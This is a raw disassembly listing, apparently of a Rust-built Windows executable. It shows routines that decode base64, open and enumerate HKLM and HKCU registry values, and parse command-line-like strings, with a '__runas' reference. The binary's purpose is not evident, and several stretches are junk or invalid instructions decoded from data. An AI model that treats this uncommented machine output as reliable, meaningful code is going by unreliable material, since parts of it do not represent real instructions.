mov rcx, r14
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1a7f1b8357b
mov rsi, rdi
cmp r10, 9
mov rdi, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
jae 0x1a7f1b46463
mov eax, 0x1dd
bt eax, r10d
jae 0x1a7f1b46463
mov r14, r15
lea rax, [0x1a7f1c9d3ac]
mov eax, dword [rax + r10*4]
mov r8, r9
mov ecx, eax
shl r8, cl
test r8, r8
je 0x1a7f1b4634e
lea r13, [r10 + rbp]
dec r13
movzx r8d, r11b
shl r8, 8
or r8, 2
jmp 0x1a7f1b462d1
xor r11d, r11d
mov r8d, 0x38
cmp r11d, eax
jae 0x1a7f1b46382
cmp rsi, r12
jae 0x1a7f1b46454
mov ecx, r8d
and cl, 0x38
mov r10, r9
shr r10, cl
mov byte [r14 + rsi], r10b
inc rsi
add r11d, 8
add r8d, 0xfffffff8
jmp 0x1a7f1b46357
cmp r12, rsi
cmovb rsi, r12
mov qword [rdi], r14
mov qword [rdi + 8], rdx
mov qword [rdi + 0x10], rsi
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
xor ecx, ecx
xor edx, edx
jmp 0x1a7f1b4643b
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov ecx, 1
mov edx, 1
jmp 0x1a7f1b4643b
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov ecx, 2
mov edx, 2
jmp 0x1a7f1b4643b
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov ecx, 3
mov edx, 3
jmp 0x1a7f1b4643b
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov ecx, 4
mov edx, 4
jmp 0x1a7f1b4643b
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov ecx, 5
mov edx, 5
jmp 0x1a7f1b4643b
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov ecx, 6
mov edx, 6
jmp 0x1a7f1b4643b
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov ecx, 7
mov edx, 7
call fcn.1a7f1c2fb60
ud2
mov r14, r15
add rcx, rbp
shl r8, 8
mov r13, rcx
jmp 0x1a7f1b462c7
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode_suffix.rs
mov rcx, rsi
mov rdx, r12
jmp 0x1a7f1b4643b
call fcn.1a7f1b66ede
ud2
test byte [rbp - 0x7d000000], al
invalid
test byte [rbp - 0x7d000000], al
invalid
test dword [rdx], edx
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x1176a7
jbe switch.0x1a7f1b4903e
invalid
jbe switch.0x1a7f1b4903e
add bl, ch
jp 0x1a7f1b49079
lea ecx, [0x1a7f1c9df00]
and al, 0x36
shr eax, 0xd5
push rsp
invalid
test rsi, rsi
je 0x1a7f1b4e1c1
invalid
jae 0x1a7f1b4e197
mov rcx, rdi
mov ecx, edi
mov rdx, r14
mov r8, rbx
mov eax, ebx
mov eax, ebx
mov r9, rsi
call fcn.1a7f1bc00f0
cmp qword [rsp + 0x30], 0
je 0x1a7f1b4e183
mov rax, qword [rsp + 0x38]
mov ecx, eax
and ecx, 3
movsxd rcx, dword [r13 + rcx*4]
add rcx, r13
jmp rcx
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1a7f1b4e1db
mov rax, rsi
mov eax, esi
sub rax, rcx
jb 0x1a7f1b4e20c
add rbx, rcx
mov rsi, rax
jmp 0x1a7f1b4e149
retf
mov rcx, r14
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_CloseHandle]
mov rax, r12
lea r8, [rsp + 0x30]
mov qword [r8], rax
lea rax, str.srccoreutilsmod.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1a7f1c8b4ad]
lea r9, fcn.1a7f1b42571
mov edx, 0x2b
call fcn.1a7f1c2ff90
ud2
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4library_std_srciomod.rs
mov rdx, rsi
call fcn.1a7f1c2fae0
ud2
mov r14, rcx
shl r14, 4
add r14, rax
inc rcx
cmp rcx, 5
je 0x1a7f1b5ae6d
mov r15, rsi
mov qword [rsp + 0xd8], rcx
mov rsi, qword [r14]
mov rdi, qword [r14 + 8]
mov qword [rsp + 0x1c0], 0xffffffff80000002
mov qword [rsp + 0x150], 0xffffffff80000001
mov r9d, 4
mov rcx, rsi
mov rdx, rdi
lea r8, [0x1a7f1c36828]
call fcn.1a7f1bd673b
test al, al
jne 0x1a7f1b59f62
mov r9d, 4
mov rcx, rsi
mov rdx, rdi
lea r8, [0x1a7f1c3682c]
call fcn.1a7f1bd673b
test al, al
jne 0x1a7f1b59f73
mov rcx, 0xffffffff80000001
call fcn.1a7f1bf6a7f
mov rcx, 0xffffffff80000002
call fcn.1a7f1bf6a7f
add r14, 0x10
mov rcx, qword [rsp + 0xd8]
inc rcx
mov rsi, r15
jmp 0x1a7f1b59ec7
lea r9, [0x1a7f1c36868]
lea r14, [rsp + 0x1c0]
jmp 0x1a7f1b59f82
lea r9, [0x1a7f1c36850]
lea r14, [rsp + 0x150]
mov rax, qword [rsp + 0xd8]
shl rax, 4
add rax, qword [rsp + 0x130]
mov qword [rsp + 0x258], rax
mov r8d, 5
mov rcx, rsi
mov rdx, rdi
call fcn.1a7f1b78693
mov r8, rdx
mov rcx, r13
mov rdx, rax
call fcn.1a7f1b46aa4
and qword [rsp + 0x1c8], 0
mov rcx, qword [r14]
mov rsi, qword [rsp + 0x300]
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x20], rax
mov rdx, rsi
xor r8d, r8d
mov r9d, 0x20019
call qword [sym.imp.advapi32.dll_RegOpenKeyExW]
mov edi, eax
mov rax, rdi
shl rax, 0x20
or rax, 2
xor ecx, ecx
test edi, edi
mov r14, qword [rsp + 0x1c8]
cmove rax, r14
setne cl
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x268], rcx
mov rdx, qword [rsp + 0x308]
mov rcx, rsi
call fcn.1a7f1b42942
test edi, edi
je 0x1a7f1b5a049
mov rcx, qword [rsp + 0x188]
call fcn.1a7f1b42571
mov rsi, r15
jmp 0x1a7f1b5ae3f
lea rax, [rsp + 0x158]
mov qword [rsp + 0x1c8], rax
and dword [rsp + 0x1d0], 0
mov qword [rsp + 0x158], r14
mov al, 0xd
mov byte [rsp + 0x208], al
mov byte [rsp + 0x240], al
mov rsi, r15
lea r14, [rsp + 0x1d8]
mov rcx, r13
mov rdx, r14
call fcn.1a7f1b43352
cmp byte [rsp + 0x330], 0xc
jne 0x1a7f1b5a470
mov rcx, r13
call fcn.1a7f1b424b5
mov rdi, qword [rsp + 0x1c8]
test rdi, rdi
je 0x1a7f1b5a4c1
mov rbx, r12
mov r12, rsi
mov esi, dword [rsp + 0x1d0]
mov r14d, 0x800
mov dword [rsp + 0x80], r14d
mov r8d, 0x1000
mov rcx, r13
xor edx, edx
call fcn.1a7f1c22810
mov dword [rsp + 0x84], r14d
and dword [rsp + 0xbc], 0
mov ecx, 0x800
call fcn.1a7f1bf6754
mov r14, rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rdx
and qword [rsp + 0xa0], 0
mov r15, qword [rdi]
lea rax, [rsp + 0x84]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
lea rax, [rsp + 0xbc]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
mov rcx, r15
mov edx, esi
mov r8, r13
lea r9, [rsp + 0x80]
call qword [sym.imp.advapi32.dll_RegEnumValueW]
cmp eax, 0xea
jne 0x1a7f1b5a181
inc dword [rsp + 0x80]
mov edx, dword [rsp + 0x84]
lea rcx, [rsp + 0x90]
call fcn.1a7f1bf6726
mov r14, qword [rsp + 0x90]
jmp 0x1a7f1b5a11a
mov edi, eax
test eax, eax
je 0x1a7f1b5a19e
cmp edi, 0x103
jne 0x1a7f1b5a21c
mov r15b, 0xd
mov bpl, 1
jmp 0x1a7f1b5a253
mov r8d, dword [rsp + 0x80]
cmp r8, 0x801
jae 0x1a7f1b5b019
lea rcx, [rsp + 0x40]
mov rdx, r13
call fcn.1a7f1b66ba0
mov rdi, qword [rsp + 0x40]
test rdi, rdi
je 0x1a7f1b5a22b
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov eax, dword [rsp + 0x84]
mov qword [rsp + 0xa0], rax
mov eax, dword [rsp + 0xbc]
cmp eax, 0xc
jae 0x1a7f1b5a23c
mov r8, qword [rsp + 0xa0]
mov qword [rsp + 0x70], r8
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x60], xmm0
mov r9, rcx
mov r8, rdx
lea r14, [rsp + 0x1d8]
jmp 0x1a7f1b5a2cf
shl rdi, 0x20
or rdi, 2
mov r15b, 0xc
xor ebp, ebp
jmp 0x1a7f1b5a253
mov r15b, 0xc
xor ebp, ebp
movabs rdi, 0xd00000002
jmp 0x1a7f1b5a253
mov rcx, rdi
call fcn.1a7f1bce24f
mov r15b, 0xc
xor ebp, ebp
movabs rdi, 0xde00000002
mov rdx, qword [rsp + 0x98]
mov rcx, r14
call fcn.1a7f1bce24f
mov al, 0xc
test bpl, bpl
je 0x1a7f1b5a2af
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xd0], rax
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xc0], xmm0
cmp r15b, 0xd
lea rbp, [rsp + 0xe0]
lea r14, [rsp + 0x1d8]
mov r8, qword [rsp + 0x148]
mov r9, qword [rsp + 0x140]
jne 0x1a7f1b5a2f5
jmp 0x1a7f1b5a4b2
lea rbp, [rsp + 0xe0]
lea r14, [rsp + 0x1d8]
mov r8, qword [rsp + 0x148]
mov r9, qword [rsp + 0x140]
inc esi
mov dword [rsp + 0x1d0], esi
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xc0], xmm0
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0xd0], rcx
mov r15d, eax
mov rsi, r12
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x170], rax
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x160], xmm0
mov ecx, dword [rsp + 0x181]
mov edx, dword [rsp + 0x184]
mov dword [rsp + 0x88], ecx
mov dword [rsp + 0x8b], edx
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], r8
mov qword [rsp + 0xf0], r9
lea rdx, [rsp + 0x111]
mov qword [rdx - 9], rax
movups xmmword [rdx - 0x19], xmm0
mov byte [rsp + 0x110], r15b
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x8b]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
cmp r15b, 0xc
mov qword [rsp + 0x148], r8
mov qword [rsp + 0x140], r9
jne 0x1a7f1b5a3a2
mov r12, rbx
mov rcx, rbp
call fcn.1a7f1b42571
mov rdi, qword [rsp + 0x1b8]
jmp 0x1a7f1b5a3ec
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x310], rax
movaps xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x300], xmm0
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x8b]
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x93], ecx
mov rsi, r8
mov r12, r9
mov qword [rsp + 0x1b8], rdi
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x40], xmm0
mov eax, dword [rsp + 0x90]
mov ecx, dword [rsp + 0x93]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x63], ecx
mov rcx, r14
call fcn.1a7f1b42501
mov qword [rsp + 0x1d8], rdi
mov qword [rsp + 0x1e0], rsi
mov qword [rsp + 0x1e8], r12
mov rax, qword [rsp + 0x50]
lea rdx, [rsp + 0x209]
mov qword [rdx - 9], rax
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rdx - 0x19], xmm0
mov byte [rsp + 0x208], r15b
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x63]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
jmp 0x1a7f1b5a084
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x2f0], rax
movups xmm0, xmmword [rsp + 0x300]
movups xmm1, xmmword [rsp + 0x310]
movups xmm2, xmmword [rsp + 0x320]
movaps xmmword [rsp + 0x2e0], xmm2
movaps xmmword [rsp + 0x2d0], xmm1
movaps xmmword [rsp + 0x2c0], xmm0
jmp 0x1a7f1b5a4d6
and qword [rsp + 0x1c8], 0
mov rsi, r12
mov r12, rbx
lea rcx, [rsp + 0x2c0]
lea rdx, [rsp + 0x210]
call fcn.1a7f1b43352
cmp byte [rsp + 0x2f0], 0xc
je 0x1a7f1b5ae1d
lea rax, [rsp + 0x2d8]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xc0], 1
mov rax, qword [rsp + 0x1b0]
movups xmmword [rax], xmm6
mov r15b, byte [rsp + 0xa8]
movzx eax, r15b
lea rcx, [rax - 1]
cmp rcx, 0xa
mov qword [rsp + 0x138], rsi
ja case.0x1a7f1b5a54a.3
lea rdx, [0x1a7f1c9df30]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
movabs r14, 0xde00000002
cmp rax, 7
ja 0x1a7f1b5a794
mov ecx, 0x86
bt rcx, rax
jae 0x1a7f1b5a794
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0xa0]
and rcx, 0xfffffffffffffffe
add rcx, rax
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], rcx
and word [rsp + 0x310], 0
lea rcx, [rsp + 0x40]
mov rdx, r13
call fcn.1a7f1bf68d8
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
inc rax
mov ecx, 1
cmp rax, 1
je 0x1a7f1b5a5d4
lea rdi, [rax - 1]
cmp byte [rsi + rax - 2], 0
mov rax, rdi
je 0x1a7f1b5a5be
jmp 0x1a7f1b5a5d6
xor edi, edi
cmp r15b, 7
jne 0x1a7f1b5a6ba
mov qword [rsp + 0x300], rsi
mov qword [rsp + 0x308], rdi
mov qword [rsp + 0x318], rdi
mov qword [rsp + 0x320], rcx
and dword [rsp + 0x328], 0
mov qword [rsp + 0xe0], rcx
mov rax, qword [rsp + 0x190]
movups xmmword [rax], xmm6
xor ebx, ebx
xor r15d, r15d
lea rdx, [rsi + r15]
mov r8, rdi
mov eax, 0
sub r8, r15
cmovae rax, rdx
cmovae r14, r8
jb 0x1a7f1b5a6c1
cmp r8, 0xf
ja 0x1a7f1b5a657
xor r8d, r8d
cmp r14, r8
je 0x1a7f1b5a663
cmp byte [rax + r8], 0
je 0x1a7f1b5a66a
inc r8
jmp 0x1a7f1b5a646
xor ecx, ecx
call fcn.1a7f1b6e5b0
mov r8, rdx
jmp 0x1a7f1b5a66f
mov r8, r14
xor eax, eax
jmp 0x1a7f1b5a66f
mov eax, 1
cmp rax, 1
jne 0x1a7f1b5a6c1
add r8, r15
mov r15, r8
inc r15
je 0x1a7f1b5a620
cmp r15, rdi
ja 0x1a7f1b5a620
add r8, rsi
cmp byte [r8], 0
jne 0x1a7f1b5a620
add rbx, rsi
mov rcx, rbp
mov rdx, rbx
call fcn.1a7f1bf66e3
mov rcx, rbp
lea rdx, [0x1a7f1c9d3a8]
lea r8, [0x1a7f1c9d3a9]
call fcn.1a7f1bf66e3
mov rbx, r15
jmp 0x1a7f1b5a620
mov r14, qword [rsp + 0x48]
jmp 0x1a7f1b5a706
add rbx, rsi
add rdi, rsi
mov rcx, rbp
mov rdx, rbx
mov r8, rdi
call fcn.1a7f1bf66e3
mov r15, qword [rsp + 0xe0]
mov r14, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0x48]
mov rcx, rsi
call fcn.1a7f1bce24f
mov rsi, r15
test r15, r15
je 0x1a7f1b5a794
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0xf0], rdi
lea r14, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov qword [rsp + 0x300], r14
mov r15d, 1
mov qword [rsp + 0x308], r15
and qword [rsp + 0x320], 0
add byte [rax], al
add byte [rax - 0x77], cl
insb byte [rdi], dx
and al, 0x40
add byte [rax], al
add byte [rax - 0x77], cl
insb byte [rdi], dx
and al, 0x40
lea rax, [0x1a7f1b657c0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x310], rax
mov qword [rsp + 0x318], r15
lea rdi, [rsp + 0x60]
mov rcx, rdi
mov rdx, r13
call fcn.1a7f1bf681c
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
call fcn.1a7f1bce24f
jmp 0x1a7f1b5a921
mov rcx, r14
call fcn.1a7f1bb9299
jmp 0x1a7f1b5a9bb
lea r14, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov qword [rsp + 0x300], r14
and al, 0
add eax, dword [rax]
add byte [rcx - 0x41], al
add dword [rax], eax
add byte [rax], al
and al, 0
add eax, dword [rax]
add byte [rcx - 0x41], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x308], r15
and qword [rsp + 0x320], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0xe0], rax
lea rax, [0x1a7f1bf6799]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x310], rbp
mov qword [rsp + 0x318], r15
lea rdi, [rsp + 0x60]
mov rcx, rdi
mov rdx, r13
call fcn.1a7f1bf681c
jmp 0x1a7f1b5a921
cmp r15b, 4
jne 0x1a7f1b5a991
mov rax, qword [rsp + 0x90]
mov eax, dword [rax]
mov dword [rsp + 0x40], eax
lea r14, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov qword [rsp + 0x300], r14
mov r15d, 1
mov qword [rsp + 0x308], r15
and al, 8
add eax, dword [rax]
add byte [rax - 0x7d], cl
movsb byte [rdi], byte [rsi]
and al, 0x20
add eax, dword [rax]
add byte [rax], al
and al, 8
add eax, dword [rax]
add byte [rax - 0x7d], cl
movsb byte [rdi], byte [rsi]
and al, 0x20
add eax, dword [rax]
add byte [rax], al
lea rax, [rsp + 0x40]
mov qword [rsp + 0xe0], rax
lea rax, [0x1a7f1bf68a2]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x310], rbp
mov qword [rsp + 0x318], r15
lea rdi, [rsp + 0x60]
mov rcx, rdi
mov rdx, r13
call fcn.1a7f1bf681c
xor ecx, ecx
movabs rdx, 0xde00000002
call fcn.1a7f1bf68bd
jmp 0x1a7f1b5a921
cmp r15b, 0xb
jne 0x1a7f1b5a9a7
mov rax, qword [rsp + 0x90]
mov rsi, qword [rax]
mov qword [rsp + 0x40], rsi
lea r14, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov qword [rsp + 0x300], r14
mov r15d, 1
mov qword [rsp + 0x308], r15
and qword [rsp + 0x320], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0xe0], rax
lea rax, [0x1a7f1bc05a0]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x310], rbp
mov qword [rsp + 0x318], r15
lea rdi, [rsp + 0x60]
mov rcx, rdi
mov rdx, r13
call fcn.1a7f1bf681c
xor ecx, ecx
mov rdx, rsi
call fcn.1a7f1bf68ca
mov qword [rsp + 0x300], r14
mov qword [rsp + 0x308], r15
and qword [rsp + 0x320], 0
mov qword [rsp + 0xe0], rdi
lea rax, [0x1a7f1b446a0]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x310], rbp
mov qword [rsp + 0x318], r15
mov rbx, rbp
lea rbp, [rsp + 0xc0]
mov rcx, rbp
lea rdx, fcn.1a7f1b42960
mov r8, r13
call fcn.1a7f1b6d0f0
mov esi, eax
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
call fcn.1a7f1bce24f
jmp 0x1a7f1b5a9ce
mov ecx, 1
movabs rdx, 0xde00000002
call fcn.1a7f1bf68bd
jmp 0x1a7f1b5a9bb
mov ecx, 1
movabs rdx, 0xde00000002
call fcn.1a7f1bf68ca
mov sil, 1
lea rbp, [rsp + 0xc0]
lea rbx, [rsp + 0xe0]
mov ecx, esi
call fcn.1a7f1b434d2
mov rsi, qword [rsp + 0xc0]
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xb0], rax
mov r8, qword [rsp + 0xd0]
lea rdi, [0x1a7f1c9d0a0]
mov qword [rsp + 0x20], rdi
mov rcx, r13
mov rdx, rsi
lea r9, [0x1a7f1c606cd]
call fcn.1a7f1b4396d
mov r14, qword [rsp + 0x300]
mov r8, qword [rsp + 0x310]
lea rax, [0x1a7f1c61b00]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r14
lea r9, [0x1a7f1c606cf]
call fcn.1a7f1b4396d
mov r15, qword [rsp + 0xe0]
mov r8, qword [rsp + 0xf0]
mov qword [rsp + 0x20], rdi
mov rcx, rbp
mov rdx, r15
lea r9, str.__runas
call fcn.1a7f1b4396d
mov rdx, qword [rsp + 0xe8]
mov rcx, r15
call fcn.1a7f1b8357b
mov rdx, qword [rsp + 0x308]
mov rcx, r14
call fcn.1a7f1b8357b
mov rcx, rsi
mov rdx, qword [rsp + 0xb0]
call fcn.1a7f1b8357b
mov rbp, rbx
mov rbx, qword [rsp + 0xc0]
mov rax, qword [rsp + 0xd0]
add rax, rbx
mov qword [rsp + 0x60], 8
mov rcx, qword [rsp + 0x1a8]
movups xmmword [rcx], xmm6
mov qword [rsp + 0x40], 1
mov rcx, qword [rsp + 0x1a0]
movups xmmword [rcx], xmm6
mov qword [rsp + 0x160], rbx
mov qword [rsp + 0x168], rax
xor eax, eax
lea rdi, [rsp + 0x40]
lea r14, [rsp + 0x160]
mov r15d, 0x110000
mov esi, eax
mov rcx, r14
call fcn.1a7f1bec640
test eax, eax
cmove edx, r15d
cmp edx, 0x20
je 0x1a7f1b5ab1f
cmp edx, 0x22
je 0x1a7f1b5ab5a
cmp edx, 0x110000
jne 0x1a7f1b5ab24
jmp 0x1a7f1b5ab98
test sil, sil
je 0x1a7f1b5ab2e
mov rcx, rdi
call fcn.1a7f1b43cb4
jmp 0x1a7f1b5aafd
mov r8, qword [rsp + 0x50]
test r8, r8
je 0x1a7f1b5aafd
mov rdx, qword [rsp + 0x40]
mov rcx, rbp
call fcn.1a7f1b66d10
lea rcx, [rsp + 0x60]
mov rdx, rbp
call fcn.1a7f1b43a68
and qword [rsp + 0x50], 0
jmp 0x1a7f1b5aafd
mov al, 1
test sil, sil
je 0x1a7f1b5aafb
xor sil, 1
mov r8, qword [rsp + 0x50]
mov eax, esi
test r8, r8
je 0x1a7f1b5aafb
mov rdx, qword [rsp + 0x40]
mov rcx, rbp
call fcn.1a7f1b66d10
lea rcx, [rsp + 0x60]
mov rdx, rbp
call fcn.1a7f1b43a68
and qword [rsp + 0x50], 0
mov eax, esi
jmp 0x1a7f1b5aafb
mov rdi, qword [rsp + 0x50]
test rdi, rdi
je 0x1a7f1b5abb1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x40]
call fcn.1a7f1b43a68
mov rsi, qword [rsp + 0x70]
test rsi, rsi
je 0x1a7f1b5ac07
mov rcx, qword [rsp + 0x60]
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x300], xmm0
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x310], rax
lea rdx, [rcx + 0x18]
imul r8, rsi, 0x18
add r8, 0xffffffffffffffe8
call fcn.1a7f1c22170
lea rax, [rsi - 1]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0x60]
lea rcx, [rsp + 0x318]
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
jmp 0x1a7f1b5ac36
mov rax, qword [rsp + 0x198]
movups xmmword [rax], xmm6
lea rax, [rsp + 0x318]
movups xmmword [rax + 8], xmm6
mov qword [rsp + 0x300], 1
mov qword [rsp + 0x318], 8
test rdi, rdi
jne 0x1a7f1b5ac4a
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
call fcn.1a7f1b8357b
test rsi, rsi
lea rdi, [rsp + 0x40]
jne 0x1a7f1b5ac5e
lea rcx, [rsp + 0x60]
call fcn.1a7f1b42a72
mov r14, qword [rsp + 0x300]
mov rax, qword [rsp + 0x308]
mov qword [rsp + 0xb0], rax
mov r15, qword [rsp + 0x310]
lea rcx, [rsp + 0x318]
call fcn.1a7f1b42a72
cmp byte [rsp + 0xa8], 2
jne 0x1a7f1b5ace0
mov rcx, r13
mov rdx, r14
mov r8, r15
call fcn.1a7f1b4e21d
mov rsi, qword [rsp + 0x300]
test rsi, rsi
je 0x1a7f1b5ace0
mov rdi, qword [rsp + 0x308]
mov r15, qword [rsp + 0x310]
mov rcx, r14
mov rdx, qword [rsp + 0xb0]
call fcn.1a7f1b8357b
mov qword [rsp + 0xb0], rdi
lea rdi, [rsp + 0x40]
mov r14, rsi
mov rcx, r13
mov rdx, r14
mov r8, r15
call fcn.1a7f1b66d10
lea rcx, [rsp + 0x278]
mov rdx, r13
call fcn.1a7f1b43a68
mov rcx, rdi
mov rdx, r14
mov r8, r15
call fcn.1a7f1bcdfe0
mov rdi, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, r13
mov rdx, rdi
call fcn.1a7f1bc6b90
cmp dword [rsp + 0x300], 2
jne 0x1a7f1b5ad59
mov rax, qword [rsp + 0x308]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xe0], 2
mov rcx, rbp
call fcn.1a7f1b42b91
mov rsi, qword [rsp + 0x138]
jmp 0x1a7f1b5ad8b
mov ecx, 9
mov rax, rdi
mov rdi, rbp
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
mov rdi, rax
mov rsi, qword [rsp + 0xe0]
mov rcx, rbp
call fcn.1a7f1b42b91
cmp rsi, 2
mov rsi, qword [rsp + 0x138]
jne 0x1a7f1b5ada3
mov rcx, r13
mov rdx, r14
mov r8, r15
call fcn.1a7f1b66d10
lea rcx, [rsp + 0x2a8]
jmp 0x1a7f1b5adb9
mov rcx, r13
mov rdx, r14
mov r8, r15
call fcn.1a7f1b66d10
lea rcx, [rsp + 0x290]
mov rdx, r13
call fcn.1a7f1b43a68
mov rdx, qword [rsp + 0x48]
mov rcx, rdi
call fcn.1a7f1b8357b
mov rcx, r14
mov rdx, qword [rsp + 0xb0]
call fcn.1a7f1b8357b
mov rdx, qword [rsp + 0xc8]
mov rcx, rbx
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.1a7f1b8357b
jmp 0x1a7f1b5a07c
mov rcx, r14
call fcn.1a7f1b42501
lea rcx, [rsp + 0x210]
call fcn.1a7f1b42501
mov rcx, qword [rsp + 0x158]
call fcn.1a7f1bf6a7f
mov rcx, qword [rsp + 0x150]
call fcn.1a7f1bf6a7f
mov rcx, 0xffffffff80000002
call fcn.1a7f1bf6a7f
mov rax, qword [rsp + 0x130]
mov rcx, qword [rsp + 0xd8]
jmp 0x1a7f1b59eba
lea rcx, [rsp + 0x248]
mov qword [rcx + 0x10], r14
call fcn.1a7f1bec898
movups xmm0, xmmword [rsp + 0x278]
lea rsi, [rsp + 0x318]
movaps xmmword [rsi - 0x18], xmm0
mov rax, qword [rsp + 0x288]
mov qword [rsi - 8], rax
movups xmm0, xmmword [rsp + 0x290]
movups xmmword [rsi], xmm0
mov rax, qword [rsp + 0x2a0]
mov qword [rsi + 0x10], rax
lea rdi, [rsp + 0x330]
movups xmm0, xmmword [rsp + 0x2a8]
movaps xmmword [rdi], xmm0
mov rax, qword [rsp + 0x2b8]
mov qword [rdi + 0x10], rax
lea r14, [rsp + 0x348]
xorps xmm6, xmm6
movaps xmmword [r14 + 8], xmm6
movups xmmword [r14 + 0x20], xmm6
mov r12d, 1
mov qword [r14], r12
mov qword [r14 + 0x18], r12
lea rbx, [rsp + 0x1c8]
mov rcx, rbx
call fcn.1a7f1b4e08c
lea r8, [0x1a7f1c36880]
lea r15, [rsp + 0xe0]
mov rcx, r15
mov rdx, rbx
call fcn.1a7f1b43428
mov qword [rbx], r12
movups xmmword [rbx + 8], xmm6
mov r12, qword [r15]
mov r8, qword [r15 + 0x10]
lea r9, [rsp + 0x1c8]
mov rcx, r14
mov rdx, r12
call fcn.1a7f1b4e007
mov ecx, 1
xor edx, edx
